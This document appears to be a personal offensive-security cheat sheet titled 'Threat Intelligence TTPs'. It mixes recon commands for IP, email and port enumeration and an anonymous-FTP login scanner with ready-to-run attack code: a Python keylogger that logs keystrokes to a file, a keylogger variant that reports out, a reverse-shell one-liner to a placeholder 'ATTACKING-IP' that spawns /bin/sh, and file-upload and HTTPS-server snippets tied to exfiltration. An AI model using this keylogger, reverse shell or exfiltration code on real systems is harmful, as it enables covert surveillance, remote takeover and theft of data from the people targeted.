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Threat Intelligence TTPs

Query IP geolocation information with IP2Location.io

curl -s "https://api.ip2location.io/?ip=8.8.8.8&format=json" | jq
{
    "ip": "8.8.8.8",
    "country_code": "US",
    "country_name": "United States of America",
    "region_name": "California",
    "city_name": "Mountain View",
    "latitude": 37.38605,
    "longitude": -122.08385,
    "zip_code": "94035",
    "time_zone": "-07:00",
    "asn": "15169",
    "as": "Google LLC",
    "is_proxy": false,
    "message": "Limit to 500 queries per day. Sign up for a Free plan at https://www.ip2location.io to get 30K queries per month."
}

Enumerating IPs with IPInfo

curl ipinfo.io/54.90.107.240

{
  "ip": "54.90.107.240",
  "hostname": "ec2-54-90-107-240.compute-1.amazonaws.com",
  "city": "Virginia Beach",
  "region": "Virginia",
  "country": "US",
  "loc": "36.8512,-76.1692",
  "org": "AS14618 Amazon.com, Inc.",
  "postal": "23465",
  "readme": "https://ipinfo.io/missingauth"
}

You can also utilize https://cybergordon.com/ to check for IP reputation!

Email Recon

curl emailrep.io/[email protected]

{
  "email": "[email protected]",
  "reputation": "high",
  "suspicious": false,
  "references": 91,
  "details": {
    "blacklisted": false,
    "malicious_activity": false,
    "malicious_activity_recent": false,
    "credentials_leaked": true,
    "credentials_leaked_recent": false,
    "data_breach": true,
    "last_seen": "07/27/2019",
    "domain_exists": true,
    "domain_reputation": "n/a",
    "new_domain": false,
    "days_since_domain_creation": 8773,
    "suspicious_tld": false,
    "spam": false,
    "free_provider": true,
    "disposable": false,
    "deliverable": true,
    "accept_all": false,
    "valid_mx": true,
    "spoofable": true,
    "spf_strict": true,
    "dmarc_enforced": false,
    "profiles": [
      "lastfm",
      "pinterest",
      "foursquare",
      "aboutme",
      "spotify",
      "twitter",
      "vimeo"
    ]
  }
}

nrich IP Enumeration

A command-line tool to quickly analyze all IPs in a file and see which ones have open ports/ vulnerabilities. Can also be fed data from stdin to be used in a data pipeline.

Install

$ wget https://gitlab.com/api/v4/projects/33695681/packages/generic/nrich/latest/nrich_latest_amd64.deb
$ sudo dpkg -i nrich_latest_amd64.deb

Confirmation

$ echo 149.202.182.140 | nrich -
149.202.182.140 (ftptech1.pcsoft.fr)
  Ports: 21, 80, 111, 443
  CPEs: cpe:/a:proftpd:proftpd:1.3.5b, cpe:/a:apache:http_server:2.4.25
  Vulnerabilities: CVE-2018-11763, CVE-2019-0220, CVE-2017-15710, CVE-2018-1312, CVE-2019-0197, CVE-2017-9798, CVE-2018-1283, CVE-2017-7668, CVE-2017-3169, CVE-2017-15715, CVE-2017-7659, CVE-2018-1333, CVE-2019-0211, CVE-2019-12815, CVE-2017-3167, CVE-2017-9788, CVE-2019-0196, CVE-2017-7679, CVE-2018-17199

Usage

$ nrich --help
nrich 0.1.0
Add network information to IPs

USAGE:
    nrich [OPTIONS] <filename>

FLAGS:
    -h, --help       Prints help information
    -V, --version    Prints version information

OPTIONS:
    -o, --output <output>    Output format (shell or json) [default: shell]

ARGS:
    <filename>    File containing an IP per line. Non-IPs are ignored

Extracting PDF Text with Python Image OCR

#!/usr/bin/env python3

from PIL import Image
import pyTesseract
import numpy as np

# Simple PDF Image OCR Extractor

file = '/home/rosesecurity/Desktop/Target_OrgChart.pdf'
pdf_img = np.array(Image.open(file))
text = pyTesseract.image_to_string(pdf_img)

Threat Intelligence Streams with Python and Reddit

Enumerate new Reddit comments for threat intelligence. This script can be modified with regular expressions to hone in on exploit development, modern threats, and any newsworthy cyber events.

#!/usr/bin/env python3

import praw

reddit = praw.Reddit(client_id ='xxxxxxxxxxxxxxx', 
                     client_secret ='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', 
                     user_agent ='Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36', 
                     username ='username', 
                     password ='pass') 


for comment in reddit.subreddit('hacking+infosec+redteamsec+cybersecurity+netsec+hackernews+malware+blueteamsec').stream.comments():
    print(comment.body)

Python HTTPS Server

from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()

Source: https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration

Enumerating Anonymous FTP Logins Using Python

#!/usr/bin/python3

from ftplib import FTP
import sys

ips = open(sys.argv[1], 'r')
r = ips.readlines()
for item in r:
    item = item.strip()
    print("[+] Connecting to: %s \n" %item)
    try:
        ftp = FTP(item, timeout=3) 
        ftp.login()
       
        if ftp.retrlines('LIST') != 0:
            print("[+] Anonymous login enabled on Host: %s \n" %item)
            print("="*70+"\n")
    except:
        print("[+] Unable to Connect to Host: %s\n" %item)
        print("="*70+"\n")
  1. Usage : python3 FTPLoginChecker.py ip_addresses.txt
  2. Note : Use shodan_eye.py to search for FTP servers that have the anon login enabled.
  3. Search Keyword : 230 anonymous

Python Keylogger

import pyHook, pythoncom, logging
logging.basicConfig(filename='mykeylogger.txt', level=logging.DEBUG, format='%(message)s')

def OnKeyboardEvent(event):
    logging.log(logging.DEBUG,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Mailtrap.io implementation:

from pynput import keyboard
from pynput.keyboard import Listener
...
keyboard_listener = keyboard.Listener(on_press=self.save_data)
with keyboard_listener:
    self.report()
    keyboard_listener.join()

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Python Basic File Upload

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth: 
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F '[email protected]' 
# With basic auth:
# curl -X POST http://HOST/upload -H -F '[email protected]' -u hello:world

Generating HoneyDocs with Python

Python's Faker module can be utilized to create honeydocs of PII with malicious macros, wordlists, emails for login brute-forcing, and much more.

import pandas as pd
from faker import Faker

# Create a Faker object
fake = Faker()

# Options to data:
fake.name()
fake.text()
fake.address()
fake.email()
fake.date()
fake.country()
fake.phone_number()
fake.random_number(digits=5)

# Example DataFrame
faker_df = pd.DataFrame({'date':[fake.date() for i in range(10)],
                         'name':[fake.name() for i in range(10)],
                         'email':[fake.email() for i in range(10)],
                         'text':[fake.text() for i in range(10)]})
faker_df